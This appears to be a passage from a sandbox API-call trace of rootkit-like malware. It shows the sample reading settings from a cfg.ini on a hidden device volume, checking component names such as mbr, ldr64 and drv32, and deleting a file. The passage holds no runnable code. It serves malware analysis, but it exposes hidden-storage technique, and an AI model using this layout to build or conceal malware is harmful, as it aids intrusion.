| out: FastMutex=0xfffffa80027d3898) [0128.017] ExFreePoolWithTag (P=0xfffffa8003ac9760, Tag=0x0) [0128.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.017] KeLeaveCriticalRegion () [0128.017] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.017] ReleaseMutex (hMutex=0xf0) returned 1 [0128.017] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.017] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.017] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.017] KeEnterCriticalRegion () [0128.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.017] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.017] IdePortDispatch () returned 0x103 [0128.018] KeWaitForMutexObject () returned 0x0 [0128.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.018] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.018] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.018] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.018] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.018] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc010 [0128.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.018] KeLeaveCriticalRegion () [0128.018] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.018] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.018] KeEnterCriticalRegion () [0128.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.018] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.018] KeLeaveCriticalRegion () [0128.018] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.018] KeEnterCriticalRegion () [0128.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.018] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.018] IdePortDispatch () returned 0x103 [0128.018] KeWaitForMutexObject () returned 0x0 [0128.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.019] KeLeaveCriticalRegion () [0128.019] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.019] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.019] KeEnterCriticalRegion () [0128.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.019] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca9000 [0128.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.019] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.019] IdePortDispatch () returned 0x103 [0128.019] KeWaitForMutexObject () returned 0x0 [0128.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.019] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.019] IdePortDispatch () returned 0x103 [0128.020] KeWaitForMutexObject () returned 0x0 [0128.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.020] KeLeaveCriticalRegion () [0128.020] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.020] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.020] KeEnterCriticalRegion () [0128.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.020] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.020] KeLeaveCriticalRegion () [0128.020] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.020] KeEnterCriticalRegion () [0128.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.021] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.021] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.021] KeLeaveCriticalRegion () [0128.021] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.021] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.021] KeEnterCriticalRegion () [0128.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.021] ExFreePoolWithTag (P=0xfffffa8003bfc010, Tag=0x0) [0128.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.021] KeLeaveCriticalRegion () [0128.021] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.021] ReleaseMutex (hMutex=0xf0) returned 1 [0128.021] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.021] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.021] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.021] KeEnterCriticalRegion () [0128.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.021] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.021] IdePortDispatch () returned 0x103 [0128.021] KeWaitForMutexObject () returned 0x0 [0128.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.022] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.022] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.022] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.022] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.022] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa80 [0128.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.022] KeLeaveCriticalRegion () [0128.022] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.022] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.022] KeEnterCriticalRegion () [0128.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.022] KeLeaveCriticalRegion () [0128.022] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.022] KeEnterCriticalRegion () [0128.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.022] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.022] IdePortDispatch () returned 0x103 [0128.022] KeWaitForMutexObject () returned 0x0 [0128.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.022] KeLeaveCriticalRegion () [0128.022] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.023] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.023] KeEnterCriticalRegion () [0128.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caa000 [0128.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.023] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.023] IdePortDispatch () returned 0x103 [0128.023] KeWaitForMutexObject () returned 0x0 [0128.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.023] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.023] IdePortDispatch () returned 0x103 [0128.023] KeWaitForMutexObject () returned 0x0 [0128.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.023] KeLeaveCriticalRegion () [0128.024] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.024] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.024] KeEnterCriticalRegion () [0128.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.024] KeLeaveCriticalRegion () [0128.024] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.024] KeEnterCriticalRegion () [0128.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.024] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.024] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.024] KeLeaveCriticalRegion () [0128.024] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.025] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.025] KeEnterCriticalRegion () [0128.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.025] ExFreePoolWithTag (P=0xfffffa8003bfaa80, Tag=0x0) [0128.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.025] KeLeaveCriticalRegion () [0128.025] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.025] ReleaseMutex (hMutex=0xf0) returned 1 [0128.025] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.025] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.025] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.025] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.025] KeEnterCriticalRegion () [0128.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.025] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.025] IdePortDispatch () returned 0x103 [0128.025] KeWaitForMutexObject () returned 0x0 [0128.025] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.025] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.025] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.025] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.026] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.026] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.026] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.026] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.026] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.026] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.026] KeLeaveCriticalRegion () [0128.026] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.026] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.026] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.026] KeEnterCriticalRegion () [0128.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.026] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.026] IdePortDispatch () returned 0x103 [0128.027] KeWaitForMutexObject () returned 0x0 [0128.027] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.027] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.027] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.027] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.027] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.027] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.027] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.027] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.027] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.027] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.027] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.027] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.027] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.027] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.027] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.027] KeLeaveCriticalRegion () [0128.027] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.027] ReleaseMutex (hMutex=0x100) returned 1 [0128.027] Sleep (dwMilliseconds=0x2bf20) [0128.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f81cc70, dwHighDateTime=0x1d24fa4)) [0128.036] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.036] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.036] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.036] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.036] KeEnterCriticalRegion () [0128.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.036] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.036] IdePortDispatch () returned 0x103 [0128.036] KeWaitForMutexObject () returned 0x0 [0128.036] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.036] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.036] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.036] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.037] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.037] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc010 [0128.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.037] KeLeaveCriticalRegion () [0128.037] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.037] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.037] KeEnterCriticalRegion () [0128.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.037] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.037] KeLeaveCriticalRegion () [0128.037] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.037] KeEnterCriticalRegion () [0128.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.037] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.037] IdePortDispatch () returned 0x103 [0128.037] KeWaitForMutexObject () returned 0x0 [0128.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.037] KeLeaveCriticalRegion () [0128.037] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.038] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.038] KeEnterCriticalRegion () [0128.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cad000 [0128.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 